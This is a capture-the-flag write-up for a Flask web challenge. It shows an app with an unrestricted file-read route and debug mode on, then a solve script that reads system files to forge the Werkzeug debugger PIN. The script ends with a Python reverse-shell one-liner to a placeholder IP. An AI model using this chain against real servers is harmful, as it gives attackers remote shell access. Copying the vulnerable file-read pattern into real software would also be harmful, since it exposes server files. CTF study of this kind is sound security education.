My Flask App
Web
SEKAI
I created a Web application in Flask, what could be wrong?
Author: belugagemink
https://my-flask-app.chals.sekai.team:1337
Attachment:
# app.py
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/')
def hello_world():
return render_template('index.html')
@app.route('/view')
def view():
filename = request.args.get('filename')
if not filename:
return "Filename is required", 400
try:
with open(filename, 'r') as file:
content = file.read()
return content, 200
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
You can do arbitrary file read.
Following https://b33pl0g1c.medium.com/hacking-the-debugging-pin-of-a-flask-application-7364794c4948, we can find the debugger PIN code by reading /sys/class/net/eth0/address
and /proc/sys/kernel/random/boot_id
:
import requests
#hostname = "http://localhost:5001"
hostname = "https://my-flask-app-klpwpha0mv8i.chals.sekai.team:1337/"
req = requests.get(hostname + "/view?filename=/sys/class/net/eth0/address")
print(req.text)
mac = int(req.text.replace(":","").strip(), 16)
print(mac)
req2 = requests.get(hostname + "/view?filename=/proc/sys/kernel/random/boot_id")
print(req2.text)
# https://b33pl0g1c.medium.com/hacking-the-debugging-pin-of-a-flask-application-7364794c4948
import hashlib
from itertools import chain
probably_public_bits = [
"nobody", # username
"flask.app", # modname
"Flask", # getattr(app, '__name__', getattr(app.__class__, '__name__'))
"/usr/local/lib/python3.11/site-packages/flask/app.py", # getattr(mod, '__file__', None),
]
print(probably_public_bits)
private_bits = [
str(mac), # the value from /sys/class/net/eth0/address
req2.text.strip(), # value from /proc/sys/kernel/random/boot_id
]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
num = None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
# get shell:
# visit hostname/console
# import os,pty,socket;s=socket.socket();s.connect(("REVERSE_SHELL_PUBLIC_IP",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")
Then we can get reverse shell by running Python on the console.
However, I was only able to solve this locally, not online due to a missing piece. The piece was only found when the public writeup is released at https://github.com/project-sekai-ctf/sekaictf-2025/blob/main/web/my-flask-app/solution/solve.py: Host should be set to 127.0.0.1, otherwise the debugger console won’t show up.